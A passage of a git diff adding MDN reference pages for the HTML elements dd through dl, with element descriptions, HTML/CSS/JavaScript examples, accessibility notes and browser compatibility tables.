Tag omission The start tag is required. The end tag may be omitted if this element is immediately followed by another <dd> element or a <dt> element, or if there is no more content in the parent element.
Permitted parents A <dl> or a <div> that is a child of a <dl>.
This element can be used after a <dt> or another <dd> element.
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-dd-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
dd112
1Before Firefox 4, this element was implemented using the HTMLSpanElement interface instead of HTMLElement.
Yes15≤44.418414≤3.21.0
nowrap1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/dd +

+
diff --git a/devdocs/html/element%2Fdel.html b/devdocs/html/element%2Fdel.html new file mode 100644 index 00000000..e1fdea35 --- /dev/null +++ b/devdocs/html/element%2Fdel.html @@ -0,0 +1,133 @@ +

<del>: The Deleted Text element

The <del> HTML element represents a range of text that has been deleted from a document. This can be used when rendering "track changes" or source code diff information, for example. The <ins> element can be used for the opposite purpose: to indicate text that has been added to the document.

+

Try it

+
+

This element is often (but need not be) rendered by applying a strike-through style to the text.

Content categories Phrasing content, flow content.
Permitted content +Transparent.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role deletion
Permitted ARIA roles Any
DOM interface HTMLModElement
+
+

Attributes

+
+

This element's attributes include the global attributes.

cite

A URI for a resource that explains the change (for example, meeting minutes).

datetime

This attribute indicates the time and date of the change and must be a valid date string with an optional time. If the value cannot be parsed as a date with an optional time string, the element does not have an associated timestamp. For the format of the string without a time, see Date strings. The format of the string if it includes both date and time is covered in Local date and time strings.

+
+

Examples

+
+

html

+
<p><del>This text has been deleted</del>, here is the rest of the paragraph.</p>
+<del><p>This paragraph has been deleted.</p></del>
+
+
+

Result

+
+ + +
+

Accessibility concerns

+
+

The presence of the del element is not announced by most screen reading technology in its default configuration. It can be made to be announced by using the CSS content property, along with the ::before and ::after pseudo-elements.

+

css

+
del::before,
+del::after {
+  clip-path: inset(100%);
+  clip: rect(1px, 1px, 1px, 1px);
+  height: 1px;
+  overflow: hidden;
+  position: absolute;
+  white-space: nowrap;
+  width: 1px;
+}
+
+del::before {
+  content: " [deletion start] ";
+}
+
+del::after {
+  content: " [deletion end] ";
+}
+
+

Some people who use screen readers deliberately disable announcing content that creates extra verbosity. Because of this, it is important to not abuse this technique and only apply it in situations where not knowing content has been deleted would adversely affect understanding.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-del-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
del1121Yes15≤44.418414≤3.21.0
cite1121Yes1534.41841421.0
datetime1121Yes1534.41841421.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/del +

+
diff --git a/devdocs/html/element%2Fdetails.html b/devdocs/html/element%2Fdetails.html new file mode 100644 index 00000000..cdb95c37 --- /dev/null +++ b/devdocs/html/element%2Fdetails.html @@ -0,0 +1,249 @@ +

<details>: The Details disclosure element

+

The <details> HTML element creates a disclosure widget in which information is visible only when the widget is toggled into an "open" state. A summary or label must be provided using the <summary> element.

A disclosure widget is typically presented onscreen using a small triangle which rotates (or twists) to indicate open/closed status, with a label next to the triangle. The contents of the <summary> element are used as the label for the disclosure widget.

+
+

Try it

+
+

A <details> widget can be in one of two states. The default closed state displays only the triangle and the label inside <summary> (or a user agent-defined default string if no <summary>).

When the user clicks on the widget or focuses it then presses the space bar, it "twists" open, revealing its contents. The common use of a triangle which rotates or twists around to represent opening or closing the widget is why these are sometimes called "twisty".

You can use CSS to style the disclosure widget, and you can programmatically open and close the widget by setting/removing its open attribute. Unfortunately, at this time, there's no built-in way to animate the transition between open and closed.

By default when closed, the widget is only tall enough to display the disclosure triangle and summary. When open, it expands to display the details contained within.

Fully standards-compliant implementations automatically apply the CSS display: list-item to the <summary> element. You can use this to customize its appearance further. See Customizing the disclosure widget for further details.

+
+

Attributes

+
+

This element includes the global attributes.

open

This Boolean attribute indicates whether the details — that is, the contents of the <details> element — are currently visible. The details are shown when this attribute exists, or hidden when this attribute is absent. By default this attribute is absent which means the details are not visible.

Note: You have to remove this attribute entirely to make the details hidden. open="false" makes the details visible because this attribute is Boolean.

+
+

Events

+
+

In addition to the usual events supported by HTML elements, the <details> element supports the toggle event, which is dispatched to the <details> element whenever its state changes between open and closed. It is sent after the state is changed, although if the state changes multiple times before the browser can dispatch the event, the events are coalesced so that only one is sent.

You can use an event listener for the toggle event to detect when the widget changes state:

+

js

+
details.addEventListener("toggle", (event) => {
+  if (details.open) {
+    /* the element was toggled open */
+  } else {
+    /* the element was toggled closed */
+  }
+});
+
+
+
+

Examples

+ +

A simple disclosure example

+
+

This example shows a simple <details> element with a <summary>.

+

html

+
<details>
+  <summary>System Requirements</summary>
+  <p>
+    Requires a computer running an operating system. The computer must have some
+    memory and ideally some kind of long-term storage. An input device as well
+    as some form of output device is recommended.
+  </p>
+</details>
+
+

Result

+
+ + +
+
+

Creating an open disclosure box

+
+

To start the <details> box in its open state, add the Boolean open attribute:

+

html

+
<details open>
+  <summary>System Requirements</summary>
+  <p>
+    Requires a computer running an operating system. The computer must have some
+    memory and ideally some kind of long-term storage. An input device as well
+    as some form of output device is recommended.
+  </p>
+</details>
+
+

Result

+
+ + +
+
+

Customizing the appearance

+
+

Now let's apply some CSS to customize the appearance of the disclosure box.

CSS

+

css

+
details {
+  font:
+    16px "Open Sans",
+    Calibri,
+    sans-serif;
+  width: 620px;
+}
+
+details > summary {
+  padding: 2px 6px;
+  width: 15em;
+  background-color: #ddd;
+  border: none;
+  box-shadow: 3px 3px 4px black;
+  cursor: pointer;
+}
+
+details > p {
+  border-radius: 0 0 10px 10px;
+  background-color: #ddd;
+  padding: 2px 6px;
+  margin: 0;
+  box-shadow: 3px 3px 4px black;
+}
+
+details[open] > summary {
+  background-color: #ccf;
+}
+
+

This CSS creates a look similar to a tabbed interface, where clicking the tab opens it to reveal its contents.

The selector details[open] can be used to style the element which is open.

HTML

+

html

+
<details>
+  <summary>System Requirements</summary>
+  <p>
+    Requires a computer running an operating system. The computer must have some
+    memory and ideally some kind of long-term storage. An input device as well
+    as some form of output device is recommended.
+  </p>
+</details>
+
+

Result

+
+ + +
+
+

Customizing the disclosure widget

+
+

The disclosure triangle itself can be customized, although this is not as broadly supported. There are variations in how browsers support this customization due to experimental implementations as the element was standardized, so we'll have to use multiple approaches for a while.

The <summary> element supports the list-style shorthand property and its longhand properties, such as list-style-type, to change the disclosure triangle to whatever you choose (usually with list-style-image). For example, we can remove the disclosure widget icon by setting list-style: none.

CSS

+

css

+
details {
+  font:
+    16px "Open Sans",
+    Calibri,
+    sans-serif;
+  width: 620px;
+}
+
+details > summary {
+  padding: 2px 6px;
+  width: 15em;
+  background-color: #ddd;
+  border: none;
+  box-shadow: 3px 3px 4px black;
+  cursor: pointer;
+  list-style: none;
+}
+
+details > p {
+  border-radius: 0 0 10px 10px;
+  background-color: #ddd;
+  padding: 2px 6px;
+  margin: 0;
+  box-shadow: 3px 3px 4px black;
+}
+
+

This CSS creates a look similar to a tabbed interface, where activating the tab expands and opens it to reveal its contents.

HTML

+

html

+
<details>
+  <summary>System Requirements</summary>
+  <p>
+    Requires a computer running an operating system. The computer must have some
+    memory and ideally some kind of long-term storage. An input device as well
+    as some form of output device is recommended.
+  </p>
+</details>
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories +Flow content, sectioning root, interactive content, palpable content.
Permitted content One <summary> element followed by flow content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content.
Implicit ARIA role group
Permitted ARIA roles No role permitted
DOM interface HTMLDetailsElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-details-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
details1279
49Before Firefox 57, there was a bug meaning that <details> elements can't be made open by default using the open attribute if they have a CSS animation active on them.
No1564.418
49There is a bug meaning that <details> elements can't be made open by default using the open attribute if they have a CSS animation active on them.
1461.0
name120120NoNoNoNoNoNoNoNoNoNo
open127949No1564.418491461.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details +

+
diff --git a/devdocs/html/element%2Fdfn.html b/devdocs/html/element%2Fdfn.html new file mode 100644 index 00000000..7f74d817 --- /dev/null +++ b/devdocs/html/element%2Fdfn.html @@ -0,0 +1,141 @@ +

<dfn>: The Definition element

The <dfn> HTML element is used to indicate the term being defined within the context of a definition phrase or sentence. The ancestor <p> element, the <dt>/<dd> pairing, or the nearest <section> ancestor of the <dfn> element, is considered to be the definition of the term.

+

Try it

+
+

Attributes

+
+

This element's attributes include the global attributes.

The title attribute has special meaning, as noted below.

+
+

Usage notes

+

There are some not-entirely-obvious aspects to using the <dfn> element. We examine those here.

+

Specifying the term being defined

+
+

The term being defined is identified following these rules:

  1. If the <dfn> element has a title attribute, the value of the title attribute is considered to be the term being defined. The element must still have text within it, but that text may be an abbreviation (perhaps using <abbr>) or another form of the term.
  2. If the <dfn> contains a single child element and does not have any text content of its own, and the child element is an <abbr> element with a title attribute itself, then the exact value of the <abbr> element's title is the term being defined.
  3. Otherwise, the text content of the <dfn> element is the term being defined. This is shown in the first example below.

Note: If the <dfn> element has a title attribute, it must contain the term being defined and no other text.

+
+ +
+

If you include an id attribute on the <dfn> element, you can then link to it using <a> elements. Such links should be uses of the term, with the intent being that the reader can quickly navigate to the term's definition if they're not already aware of it, by clicking on the term's link.

This is shown in the example under Links to definitions below.

+
+

Examples

+

Let's take a look at some examples of various usage scenarios.

+

Basic identification of a term

+
+

This example uses a plain <dfn> element to identify the location of a term within the definition.

HTML

+

html

+
<p>
+  The <strong>HTML Definition element (<dfn>&lt;dfn&gt;</dfn>)</strong> is used
+  to indicate the term being defined within the context of a definition phrase
+  or sentence.
+</p>
+
+

Since the <dfn> element has no title, the text contents of the <dfn> element itself are used as the term being defined.

Result

+
+ + +
+
+ +
+

To add links to the definitions, you create the link the same way you always do, with the <a> element.

HTML

+

html

+
<p>
+  The
+  <strong>HTML Definition element (<dfn id="definition-dfn">&lt;dfn&gt;</dfn>)</strong>
+  is used to indicate the term being defined within the context of a definition
+  phrase or sentence.
+</p>
+
+<p>
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Graece donan, Latine
+  voluptatem vocant. Confecta res esset. Duo Reges: constructio interrete.
+  Scrupulum, inquam, abeunti;
+</p>
+
+<p>
+  Because of all of that, we decided to use the
+  <code><a href="#definition-dfn">&lt;dfn&gt;</a></code> element for this
+  project.
+</p>
+
+

Here we see the definition — now with an id attribute, "definition-dfn", which can be used as the target of a link. Later on, a link is created using <a> with the href attribute set to "#definition-dfn" to set up the link back to the definition.

Result

+
+ + +
+
+

Using abbreviations and definitions together

+
+

In some cases, you may wish to use an abbreviation for a term when defining it. This can be done by using the <dfn> and <abbr> elements in tandem, like this:

HTML

+

html

+
<p>
+  The <dfn><abbr title="Hubble Space Telescope">HST</abbr></dfn> is among the
+  most productive scientific instruments ever constructed. It has been in orbit
+  for over 20 years, scanning the sky and returning data and photographs of
+  unprecedented quality and detail.
+</p>
+
+<p>
+  Indeed, the <abbr title="Hubble Space Telescope">HST</abbr> has arguably done
+  more to advance science than any device ever built.
+</p>
+
+

Note the <abbr> element nested inside the <dfn>. The former establishes that the term is an abbreviation ("HST") and specifies the full term ("Hubble Space Telescope") in its title attribute. The latter indicates that the abbreviated term represents a term being defined.

Result

+
+ + +
+
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content Phrasing content, but no <dfn> element must be a descendant.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role term
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-dfn-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
dfn15121Yes1564.41841461.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/dfn +

+
diff --git a/devdocs/html/element%2Fdialog.html b/devdocs/html/element%2Fdialog.html new file mode 100644 index 00000000..9cdc464f --- /dev/null +++ b/devdocs/html/element%2Fdialog.html @@ -0,0 +1,225 @@ +

<dialog>: The Dialog element

+

The <dialog> HTML element represents a modal or non-modal dialog box or other interactive component, such as a dismissible alert, inspector, or subwindow.

The HTML <dialog> element is used to create both modal and non-modal dialog boxes. Modal dialog boxes interrupt interaction with the rest of the page being inert, while non-modal dialog boxes allow interaction with the rest of the page.

JavaScript should be used to display the <dialog> element. Use the .showModal() method to display a modal dialog and the .show() method to display a non-modal dialog. The dialog box can be closed using the .close() method or using the dialog method when submitting a <form> that is nested within the <dialog> element. Modal dialogs can also be closed by pressing the Esc key.

+
+

Attributes

+
+

This element includes the global attributes.

Warning: The tabindex attribute must not be used on the <dialog> element.

open

Indicates that the dialog box is active and is available for interaction. If the open attribute is not set, the dialog box will not be visible to the user. It is recommended to use the .show() or .showModal() method to render dialogs, rather than the open attribute. If a <dialog> is opened using the open attribute, it is non-modal.

Note: While you can toggle between the open and closed states of non-modal dialog boxes by toggling the presence of the open attribute, this approach is not recommended.

+
+

Usage notes

+
+

Examples

+ +

Caveats of creating a dialog using only HTML

+
+

This example demonstrates the create a non-modal dialog by using only HTML. Because of the boolean open attribute in the <dialog> element, the dialog appears open when the page loads. The dialog can be closed by clicking the "OK" button because the method attribute in the <form> element is set to "dialog". In this case, no JavaScript is needed to close the form.

+

html

+
<dialog open>
+  <p>Greetings, one and all!</p>
+  <form method="dialog">
+    <button>OK</button>
+  </form>
+</dialog>
+
+

Result

+
+ + +

This dialog is initially open because of the presence of the open attribute. Dialogs that are displayed using the open attribute are non-modal. You may notice that after clicking "OK", the dialog gets dismissed leaving the Result frame empty. When the dialog is dismissed, there is no method provided to reopen it. For this reason, the preferred method to display non-modal dialogs is by using the HTMLDialogElement.show() method. It is possible to toggle the display of the dialog by adding or removing the boolean open attribute, but it is not the recommended practice.

+
+

Creating a modal dialog

+
+

This example demonstrates a modal dialog with a gradient backdrop. The .showModal() method opens the modal dialog when the "Show the dialog" button is activated. The dialog can be closed by pressing the Esc key or via the close() method when the "Close" button within the dialog is activated.

When a dialog opens, the browser, by default, gives focus to the first element that can be focused within the dialog. In this example, the autofocus attribute is applied to the "Close" button, giving it focus when the dialog opens, as this is the element we expect the user will interact with immediately after the dialog opens.

HTML

+

html

+
<dialog>
+  <button autofocus>Close</button>
+  <p>This modal dialog has a groovy backdrop!</p>
+</dialog>
+<button>Show the dialog</button>
+
+

CSS

We can style the backdrop of the dialog by using the ::backdrop pseudo-element.

+

css

+
::backdrop {
+  background-image: linear-gradient(
+    45deg,
+    magenta,
+    rebeccapurple,
+    dodgerblue,
+    green
+  );
+  opacity: 0.75;
+}
+
+

JavaScript

The dialog is opened modally using the .showModal() method and closed using the .close() method.

+

js

+
const dialog = document.querySelector("dialog");
+const showButton = document.querySelector("dialog + button");
+const closeButton = document.querySelector("dialog button");
+
+// "Show the dialog" button opens the dialog modally
+showButton.addEventListener("click", () => {
+  dialog.showModal();
+});
+
+// "Close" button closes the dialog
+closeButton.addEventListener("click", () => {
+  dialog.close();
+});
+
+

Result

+
+ + +

When the modal dialog is displayed, it appears above any other dialogs that might be present. Everything outside the modal dialog is inert and interactions outside the dialog are blocked. Notice that when the dialog is open, with the exception of the dialog itself, interaction with the document is not possible; the "Show the dialog" button is mostly obfuscated by the almost opaque backdrop of the dialog and is inert.

+
+

Handling the return value from the dialog

+
+

This example demonstrates the returnValue of the <dialog> element and how to close a modal dialog by using a form. By default, the returnValue is the empty string or the value of the button that submits the form within the <dialog> element, if there is one.

This example opens a modal dialog when the "Show the dialog" button is activated. The dialog contains a form with a <select> and two <button> elements, which default to type="submit". An eventlistener updates the value of the "Confirm" button when the select option changes. If the "Confirm" button is activated to close the dialog, the current value of the button is the return value. If the dialog is closed by pressing the "Cancel" button, the returnValue is cancel.

When the dialog is closed, the return value is displayed under the "Show the dialog" button. If the dialog is closed by pressing the Esc key, the returnValue is not updated and the close event doesn't occur so the text in the <output> is not updated.

HTML

+

html

+
<!-- A modal dialog containing a form -->
+<dialog id="favDialog">
+  <form>
+    <p>
+      <label>
+        Favorite animal:
+        <select>
+          <option value="default">Choose…</option>
+          <option>Brine shrimp</option>
+          <option>Red panda</option>
+          <option>Spider monkey</option>
+        </select>
+      </label>
+    </p>
+    <div>
+      <button value="cancel" formmethod="dialog">Cancel</button>
+      <button id="confirmBtn" value="default">Confirm</button>
+    </div>
+  </form>
+</dialog>
+<p>
+  <button id="showDialog">Show the dialog</button>
+</p>
+<output></output>
+
+

JavaScript

+

js

+
const showButton = document.getElementById("showDialog");
+const favDialog = document.getElementById("favDialog");
+const outputBox = document.querySelector("output");
+const selectEl = favDialog.querySelector("select");
+const confirmBtn = favDialog.querySelector("#confirmBtn");
+
+// "Show the dialog" button opens the <dialog> modally
+showButton.addEventListener("click", () => {
+  favDialog.showModal();
+});
+
+// "Favorite animal" input sets the value of the submit button
+selectEl.addEventListener("change", (e) => {
+  confirmBtn.value = selectEl.value;
+});
+
+// "Cancel" button closes the dialog without submitting because of [formmethod="dialog"], triggering a close event.
+favDialog.addEventListener("close", (e) => {
+  outputBox.value =
+    favDialog.returnValue === "default"
+      ? "No return value."
+      : `ReturnValue: ${favDialog.returnValue}.`; // Have to check for "default" rather than empty string
+});
+
+// Prevent the "confirm" button from the default behavior of submitting the form, and close the dialog with the `close()` method, which triggers the "close" event.
+confirmBtn.addEventListener("click", (event) => {
+  event.preventDefault(); // We don't want to submit this fake form
+  favDialog.close(selectEl.value); // Have to send the select box value here.
+});
+
+
+
+

Result

+
+
+ + +

This example demonstrates the following three methods of closing modal dialogs:

The "Cancel" button includes the formmethod="dialog" attribute, which overrides the <form>'s default GET method. When a form's method is dialog, the state of the form is saved but not submitted, and the dialog gets closed.

Without an action, submitting the form via the default GET method causes a page to reload. We use JavaScript to prevent the submission and close the dialog with the event.preventDefault() and HTMLDialogElement.close() methods, respectively.

It is important to provide a closing mechanism within every dialog element. The Esc key does not close non-modal dialogs by default, nor can one assume that a user will even have access to a physical keyboard (e.g., someone using a touch screen device without access to a keyboard).

+
+

Technical summary

+
Content categories Flow content, sectioning root
Permitted content Flow content
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content
Implicit ARIA role dialog
Permitted ARIA roles alertdialog
DOM interface HTMLDialogElement
+

Accessibility considerations

+
+

When implementing a dialog, it is important to consider the most appropriate place to set user focus. When using HTMLDialogElement.showModal() to open a <dialog>, focus is set on the first nested focusable element. Explicitly indicating the initial focus placement by using the autofocus attribute will help ensure initial focus is set on the element deemed the best initial focus placement for any particular dialog. When in doubt, as it may not always be known where initial focus could be set within a dialog, particularly for instances where a dialog's content is dynamically rendered when invoked, the <dialog> element itself may provide the best initial focus placement.

Ensure a mechanism is provided to allow users to close the dialog. The most robust way to ensure that all users can close the dialog is to include an explicit button to do so, such as a confirmation, cancellation, or close button.

By default, a dialog invoked by the showModal() method can be dismissed by pressing the Esc key. A non-modal dialog does not dismiss via the Esc key by default, and depending on what the non-modal dialog represents, it may not be desired for this behavior. Keyboard users expect the Esc key to close modal dialogs; ensure that this behavior is implemented and maintained. If multiple modal dialogs are open, pressing the Esc key should close only the last shown dialog. When using <dialog>, this behavior is provided by the browser.

While dialogs can be created using other elements, the native <dialog> element provides usability and accessibility features that must be replicated if you use other elements for a similar purpose. If you're creating a custom dialog implementation, ensure that all expected default behaviors are supported and proper labeling recommendations are followed.

The <dialog> element is exposed by browsers in a manner similar to custom dialogs that use the ARIA role="dialog" attribute. <dialog> elements invoked by the showModal() method implicitly have aria-modal="true", whereas <dialog> elements invoked by the show() method or displayed using the open attribute or by changing the default display of a <dialog> are exposed as [aria-modal="false"]. When implementing modal dialogs, everything other than the <dialog> and its contents should be rendered inert using the inert attribute. When using <dialog> along with the HTMLDialogElement.showModal() method, this behavior is provided by the browser.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-dialog-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
dialog377998No2415.43737982415.43.0
open377998No2415.43737982415.43.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/dialog +

+
diff --git a/devdocs/html/element%2Fdir.html b/devdocs/html/element%2Fdir.html new file mode 100644 index 00000000..f5465486 --- /dev/null +++ b/devdocs/html/element%2Fdir.html @@ -0,0 +1,78 @@ +

<dir>: The Directory element

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

The <dir> HTML element is used as a container for a directory of files and/or folders, potentially with styles and icons applied by the user agent. Do not use this obsolete element; instead, you should use the <ul> element for lists, including lists of files.

Warning: Do not use this element. Though present in early HTML specifications, it has been deprecated in HTML 4, and has since been removed entirely. No major browsers support this element.

+
+

DOM interface

+

This element implements the HTMLDirectoryElement interface.

+

Attributes

+
+

Like all other HTML elements, this element supports the global attributes.

+compact +

This Boolean attribute hints that the list should be rendered in a compact style. The interpretation of this attribute depends on the user agent and it doesn't work in all browsers.

+
+

Specifications

+

Not part of any current specifications.

+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
dir1121≤6≤12.1≤44.4184≤12.1≤3.21.0
compact1121≤6≤12.1≤44.4184≤12.1≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/dir +

+
diff --git a/devdocs/html/element%2Fdiv.html b/devdocs/html/element%2Fdiv.html new file mode 100644 index 00000000..ef3188c6 --- /dev/null +++ b/devdocs/html/element%2Fdiv.html @@ -0,0 +1,129 @@ +

<div>: The Content Division element

The <div> HTML element is the generic container for flow content. It has no effect on the content or layout until styled in some way using CSS (e.g. styling is directly applied to it, or some kind of layout model like Flexbox is applied to its parent element).

+

Try it

+
+

As a "pure" container, the <div> element does not inherently represent anything. Instead, it's used to group content so it can be easily styled using the class or id attributes, marking a section of a document as being written in a different language (using the lang attribute), and so on.

+
+

Attributes

+
+

This element includes the global attributes.

Note: The align attribute is obsolete; do not use it anymore. Instead, you should use CSS properties or techniques such as CSS Grid or CSS Flexbox to align and position <div> elements on the page.

+
+

Usage notes

+
+

Accessibility concerns

+

The <div> element has an implicit role of generic, and not none. This may affect certain ARIA combination declarations that expect a direct descendant element with a certain role to function properly.

+

Examples

+ +

A simple example

+
+
+

html

+
<div>
+  <p>
+    Any kind of content here. Such as &lt;p&gt;, &lt;table&gt;. You name it!
+  </p>
+</div>
+
+

Result

+
+ + +
+
+

A styled example

+
+

This example creates a shadowed box by applying a style to the <div> using CSS. Note the use of the class attribute on the <div> to apply the style named "shadowbox" to the element.

HTML

+

html

+
<div class="shadowbox">
+  <p>Here's a very interesting note displayed in a lovely shadowed box.</p>
+</div>
+
+

CSS

+

css

+
.shadowbox {
+  width: 15em;
+  border: 1px solid #333;
+  box-shadow: 8px 8px 5px #444;
+  padding: 8px 12px;
+  background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc);
+}
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories +Flow content, palpable content.
Permitted content Flow content.
Or (in WHATWG HTML): If the parent is a <dl> element: one or more <dt> elements followed by one or more <dd> elements, optionally intermixed with <script> and <template> elements.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content.
Or (in WHATWG HTML): <dl> element.
Implicit ARIA role generic
Permitted ARIA roles Any
DOM interface HTMLDivElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-div-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
div1121Yes1514.41841411.0
align1121Yes1534.41841421.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/div +

+
diff --git a/devdocs/html/element%2Fdl.html b/devdocs/html/element%2Fdl.html new file mode 100644 index 00000000..62b7322b --- /dev/null +++ b/devdocs/html/element%2Fdl.html @@ -0,0 +1,193 @@ +

<dl>: The Description List element

The <dl> HTML element represents a description list. The element encloses a list of groups of terms (specified using the <dt> element) and descriptions (provided by <dd> elements). Common uses for this element are to implement a glossary or to display metadata (a list of key-value pairs).

+

Try it

+
+
Content categories Flow content, and if the <dl> element's children include one name-value group, palpable content.
Permitted content

Either: Zero or more groups each consisting of one or more <dt> elements followed by one or more <dd> elements, optionally intermixed with <script> and <template> elements.
Or: (in WHATWG HTML, W3C HTML 5.2 and later) One or more <div> elements, optionally intermixed with <script> and <template> elements.

Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content.
Implicit ARIA role No corresponding role
Permitted ARIA roles group, list, none, presentation
DOM interface HTMLDListElement
+
+

Attributes

+

This element only includes the global attributes.

+

Examples

+ +

Single term and description

+
+
+

html

+
<dl>
+  <dt>Firefox</dt>
+  <dd>
+    A free, open source, cross-platform, graphical web browser developed by the
+    Mozilla Corporation and hundreds of volunteers.
+  </dd>
+
+  <!-- Other terms and descriptions -->
+</dl>
+
+

Result

+
+ + +
+
+

Multiple terms, single description

+
+
+

html

+
<dl>
+  <dt>Firefox</dt>
+  <dt>Mozilla Firefox</dt>
+  <dt>Fx</dt>
+  <dd>
+    A free, open source, cross-platform, graphical web browser developed by the
+    Mozilla Corporation and hundreds of volunteers.
+  </dd>
+
+  <!-- Other terms and descriptions -->
+</dl>
+
+

Result

+
+ + +
+
+

Single term, multiple descriptions

+
+
+

html

+
<dl>
+  <dt>Firefox</dt>
+  <dd>
+    A free, open source, cross-platform, graphical web browser developed by the
+    Mozilla Corporation and hundreds of volunteers.
+  </dd>
+  <dd>
+    The Red Panda also known as the Lesser Panda, Wah, Bear Cat or Firefox, is a
+    mostly herbivorous mammal, slightly larger than a domestic cat (60 cm long).
+  </dd>
+
+  <!-- Other terms and descriptions -->
+</dl>
+
+

Result

+
+ + +
+
+

Multiple terms and descriptions

+

It is also possible to define multiple terms with multiple corresponding descriptions, by combining the examples above.

+

Metadata

+
+

Description lists are useful for displaying metadata as a list of key-value pairs.

+

html

+
<dl>
+  <dt>Name</dt>
+  <dd>Godzilla</dd>
+  <dt>Born</dt>
+  <dd>1952</dd>
+  <dt>Birthplace</dt>
+  <dd>Japan</dd>
+  <dt>Color</dt>
+  <dd>Green</dd>
+</dl>
+
+

Result

+
+ + +

Tip: It can be handy to define a key-value separator in the CSS, such as:

+

css

+
dt::after {
+  content: ": ";
+}
+
+
+
+

Wrapping name-value groups in div elements

+
+

WHATWG HTML allows wrapping each name-value group in a <dl> element in a <div> element. This can be useful when using microdata, or when global attributes apply to a whole group, or for styling purposes.

+

html

+
<dl>
+  <div>
+    <dt>Name</dt>
+    <dd>Godzilla</dd>
+  </div>
+  <div>
+    <dt>Born</dt>
+    <dd>1952</dd>
+  </div>
+  <div>
+    <dt>Birthplace</dt>
+    <dd>Japan</dd>
+  </div>
+  <div>
+    <dt>Color</dt>
+    <dd>Green</dd>
+  </div>
+</dl>
+
+

Result

+
+ + +
+
+

Notes

+
+

Do not use this element (nor <ul> elements) to merely create indentation on a page. Although it works, this is a bad practice and obscures the meaning of description lists.

To change the indentation of a description term, use the CSS margin property.

+
+

Accessibility concerns

+
+

